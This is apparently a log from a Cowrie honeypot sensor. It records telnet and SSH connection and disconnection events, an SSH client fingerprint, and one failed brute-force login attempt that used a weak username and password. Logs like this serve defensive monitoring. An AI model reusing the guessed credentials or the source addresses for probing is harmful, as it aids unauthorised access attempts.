{"eventid":"cowrie.session.connect","src_ip":"180.210.206.54","src_port":40230,"dst_ip":"159.203.135.109","dst_port":23,"session":"90d85426a64d","protocol":"telnet","message":"New connection: 180.210.206.54:40230 (159.203.135.109:23) [session: 90d85426a64d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:01.664997Z"}
{"eventid":"cowrie.session.closed","duration":31.25458002090454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:01.741229Z","src_ip":"103.216.223.28","session":"d40d33777dbf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:01.865891Z","src_ip":"103.172.20.218","session":"c24a0dbffaca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.58812427520752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:02.049042Z","src_ip":"133.130.78.211","session":"eda6d06dca1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.300448179244995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:02.169069Z","src_ip":"133.130.78.211","session":"abee6b52e7e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1957688331604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:02.174950Z","src_ip":"133.130.78.211","session":"cb6f9716a44c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.210.206.54","src_port":40206,"dst_ip":"159.203.135.109","dst_port":23,"session":"0228ce8ea2d7","protocol":"telnet","message":"New connection: 180.210.206.54:40206 (159.203.135.109:23) [session: 0228ce8ea2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:02.605474Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":44800,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8e0bbbad50a","protocol":"telnet","message":"New connection: 133.130.78.211:44800 (159.203.135.109:23) [session: b8e0bbbad50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:02.714586Z"}
{"eventid":"cowrie.login.failed","username":"es","password":"abc123","message":"login attempt [es/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:02.801600Z","src_ip":"103.172.20.218","session":"c24a0dbffaca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.75836491584778,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:02.886824Z","src_ip":"180.210.206.54","session":"7b254eda2f21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":58852,"dst_ip":"159.203.135.109","dst_port":23,"session":"99fb2397622c","protocol":"telnet","message":"New connection: 103.216.223.28:58852 (159.203.135.109:23) [session: 99fb2397622c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:02.906202Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":46088,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb2af675120f","protocol":"telnet","message":"New connection: 133.130.78.211:46088 (159.203.135.109:23) [session: cb2af675120f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:03.311917Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.210.206.54","src_port":40608,"dst_ip":"159.203.135.109","dst_port":23,"session":"792f872804c3","protocol":"telnet","message":"New connection: 180.210.206.54:40608 (159.203.135.109:23) [session: 792f872804c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:03.398804Z"}
{"eventid":"cowrie.session.closed","duration":31.684186935424805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:03.877886Z","src_ip":"103.216.223.28","session":"e95fd8eb204b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:04.029518Z","src_ip":"103.172.20.218","session":"c24a0dbffaca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.650355100631714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:04.116060Z","src_ip":"103.216.223.28","session":"c06d711bf39d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.333415746688843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:04.254031Z","src_ip":"103.216.223.28","session":"276c9e798f6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":60462,"dst_ip":"159.203.135.109","dst_port":23,"session":"245d7c76d48b","protocol":"telnet","message":"New connection: 103.216.223.28:60462 (159.203.135.109:23) [session: 245d7c76d48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:04.282881Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":46990,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1d820b4757a","protocol":"telnet","message":"New connection: 133.130.78.211:46990 (159.203.135.109:23) [session: a1d820b4757a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:05.432786Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":34114,"dst_ip":"159.203.135.109","dst_port":23,"session":"408c1cbac6fc","protocol":"telnet","message":"New connection: 103.216.223.28:34114 (159.203.135.109:23) [session: 408c1cbac6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:05.753851Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":34230,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c0fb8c20518","protocol":"telnet","message":"New connection: 103.216.223.28:34230 (159.203.135.109:23) [session: 7c0fb8c20518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:05.937515Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":33502,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8407f17349c","protocol":"telnet","message":"New connection: 103.216.223.28:33502 (159.203.135.109:23) [session: d8407f17349c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:06.430059Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":47362,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad0a87ebf44b","protocol":"telnet","message":"New connection: 133.130.78.211:47362 (159.203.135.109:23) [session: ad0a87ebf44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:06.590088Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":35166,"dst_ip":"159.203.135.109","dst_port":23,"session":"0097852b4e12","protocol":"telnet","message":"New connection: 103.216.223.28:35166 (159.203.135.109:23) [session: 0097852b4e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:06.667392Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.210.206.54","src_port":43554,"dst_ip":"159.203.135.109","dst_port":23,"session":"a041358f378e","protocol":"telnet","message":"New connection: 180.210.206.54:43554 (159.203.135.109:23) [session: a041358f378e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:06.720484Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":35540,"dst_ip":"159.203.135.109","dst_port":23,"session":"5feb962250d4","protocol":"telnet","message":"New connection: 103.216.223.28:35540 (159.203.135.109:23) [session: 5feb962250d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:07.062690Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":47464,"dst_ip":"159.203.135.109","dst_port":23,"session":"f37e9e63b3d9","protocol":"telnet","message":"New connection: 133.130.78.211:47464 (159.203.135.109:23) [session: f37e9e63b3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:07.084172Z"}
{"eventid":"cowrie.session.closed","duration":30.417262315750122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:07.141648Z","src_ip":"103.216.223.28","session":"c6093b848507","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":47300,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f08a9040551","protocol":"telnet","message":"New connection: 133.130.78.211:47300 (159.203.135.109:23) [session: 9f08a9040551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:07.296127Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":36204,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f4a58232c34","protocol":"telnet","message":"New connection: 103.216.223.28:36204 (159.203.135.109:23) [session: 6f4a58232c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:07.583890Z"}
{"eventid":"cowrie.session.closed","duration":30.390002250671387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:09.120762Z","src_ip":"133.130.78.211","session":"e65434045a67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10297918319702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:09.213315Z","src_ip":"133.130.78.211","session":"a34a5df6105b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.938514709472656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:09.395073Z","src_ip":"180.210.206.54","session":"dd1b32113f44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.210.206.54","src_port":46274,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5a8cfec3bba","protocol":"telnet","message":"New connection: 180.210.206.54:46274 (159.203.135.109:23) [session: b5a8cfec3bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:09.910139Z"}
{"eventid":"cowrie.session.closed","duration":30.34391188621521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:10.139661Z","src_ip":"133.130.78.211","session":"80c950567139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51789951324463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:10.144824Z","src_ip":"133.130.78.211","session":"7ca47d78f1e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.219595670700073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:10.225708Z","src_ip":"133.130.78.211","session":"9320e13c85a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":48684,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d3eb2f1444b","protocol":"telnet","message":"New connection: 133.130.78.211:48684 (159.203.135.109:23) [session: 9d3eb2f1444b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:10.520422Z"}
{"eventid":"cowrie.session.closed","duration":32.2826406955719,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:11.004484Z","src_ip":"103.216.223.28","session":"668755219962","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.424675464630127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:11.112076Z","src_ip":"133.130.78.211","session":"846660fa5cd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":46282,"dst_ip":"159.203.135.109","dst_port":23,"session":"150942bcfcc9","protocol":"telnet","message":"New connection: 51.38.143.2:46282 (159.203.135.109:23) [session: 150942bcfcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:11.412673Z"}
{"eventid":"cowrie.session.closed","duration":31.690093755722046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:11.714817Z","src_ip":"133.130.78.211","session":"0ace9059f56e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17553997039795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:12.183459Z","src_ip":"133.130.78.211","session":"eac0d7c1e4f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.432121515274048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:12.215965Z","src_ip":"103.216.223.28","session":"6d45a0516875","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5476016998291,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:12.394031Z","src_ip":"103.216.223.28","session":"94ce51989531","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":49620,"dst_ip":"159.203.135.109","dst_port":23,"session":"815ab0cf229d","protocol":"telnet","message":"New connection: 133.130.78.211:49620 (159.203.135.109:23) [session: 815ab0cf229d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:13.164016Z"}
{"eventid":"cowrie.session.closed","duration":30.54969549179077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:13.258147Z","src_ip":"103.216.223.28","session":"85037f4d6ea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.717365741729736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:13.437341Z","src_ip":"103.216.223.28","session":"ef6ad7a39187","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":42282,"dst_ip":"159.203.135.109","dst_port":23,"session":"a64126e16f40","protocol":"telnet","message":"New connection: 103.216.223.28:42282 (159.203.135.109:23) [session: a64126e16f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:13.609827Z"}
{"eventid":"cowrie.session.closed","duration":31.136271953582764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:14.012718Z","src_ip":"180.210.206.54","session":"085bdbb4d865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.182154893875122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:14.017032Z","src_ip":"180.210.206.54","session":"12e3ebd74da7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":42670,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff4e782e736d","protocol":"telnet","message":"New connection: 103.216.223.28:42670 (159.203.135.109:23) [session: ff4e782e736d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:14.120339Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":43230,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3f9ea1f2574","protocol":"telnet","message":"New connection: 103.216.223.28:43230 (159.203.135.109:23) [session: e3f9ea1f2574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:14.675336Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":43264,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c8751126fbc","protocol":"telnet","message":"New connection: 103.216.223.28:43264 (159.203.135.109:23) [session: 2c8751126fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:14.705509Z"}
{"eventid":"cowrie.session.closed","duration":31.558545351028442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:14.794670Z","src_ip":"133.130.78.211","session":"955af7fcce62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.650809049606323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:15.089560Z","src_ip":"133.130.78.211","session":"fb70277db63e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.459245920181274,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:15.878192Z","src_ip":"103.216.223.28","session":"10dcecf718d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":44672,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c65403caeea","protocol":"telnet","message":"New connection: 103.216.223.28:44672 (159.203.135.109:23) [session: 0c65403caeea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:16.009545Z"}
{"eventid":"cowrie.session.closed","duration":31.193783044815063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:16.141338Z","src_ip":"133.130.78.211","session":"bae66e9932fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.333865642547607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:16.228668Z","src_ip":"133.130.78.211","session":"e64bca07ee21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311827898025513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:16.305628Z","src_ip":"133.130.78.211","session":"9503427a2c28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793867588043213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:16.312766Z","src_ip":"103.216.223.28","session":"b682ca61ce8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.23731565475464,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:16.470503Z","src_ip":"162.240.0.132","session":"4fb92000c074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":50692,"dst_ip":"159.203.135.109","dst_port":23,"session":"84647a80f4a1","protocol":"telnet","message":"New connection: 133.130.78.211:50692 (159.203.135.109:23) [session: 84647a80f4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:16.574771Z"}
{"eventid":"cowrie.session.closed","duration":31.1981520652771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:17.023956Z","src_ip":"180.210.206.54","session":"59f997c527b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.335735082626343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:17.092239Z","src_ip":"133.130.78.211","session":"d9f7ec00e3c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895659923553467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:17.178944Z","src_ip":"133.130.78.211","session":"7201229f319f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":50882,"dst_ip":"159.203.135.109","dst_port":23,"session":"54c1efac6e2d","protocol":"telnet","message":"New connection: 133.130.78.211:50882 (159.203.135.109:23) [session: 54c1efac6e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:17.388394Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":47144,"dst_ip":"159.203.135.109","dst_port":23,"session":"53de9ba971d5","protocol":"telnet","message":"New connection: 103.216.223.28:47144 (159.203.135.109:23) [session: 53de9ba971d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:17.726288Z"}
{"eventid":"cowrie.session.closed","duration":31.366371870040894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:18.029650Z","src_ip":"103.216.223.28","session":"42b4f81e1ea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.673526287078857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:18.262244Z","src_ip":"103.216.223.28","session":"0b30c4fedcf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.26314330101013,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:18.429717Z","src_ip":"103.216.223.28","session":"02d41a2553d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":43938,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bcd93918874","protocol":"telnet","message":"New connection: 103.216.223.28:43938 (159.203.135.109:23) [session: 3bcd93918874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:18.461445Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":48540,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a73eb446983","protocol":"telnet","message":"New connection: 103.216.223.28:48540 (159.203.135.109:23) [session: 6a73eb446983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:18.787196Z"}
{"eventid":"cowrie.session.closed","duration":30.956130266189575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:19.274116Z","src_ip":"103.216.223.28","session":"112e3a0ab0da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188380479812622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:20.101415Z","src_ip":"133.130.78.211","session":"d37c436689ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":50686,"dst_ip":"159.203.135.109","dst_port":23,"session":"54aca3c51ace","protocol":"telnet","message":"New connection: 103.216.223.28:50686 (159.203.135.109:23) [session: 54aca3c51ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:20.590912Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52552,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d245d3b4797","protocol":"telnet","message":"New connection: 51.38.143.2:52552 (159.203.135.109:23) [session: 6d245d3b4797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:20.706488Z"}
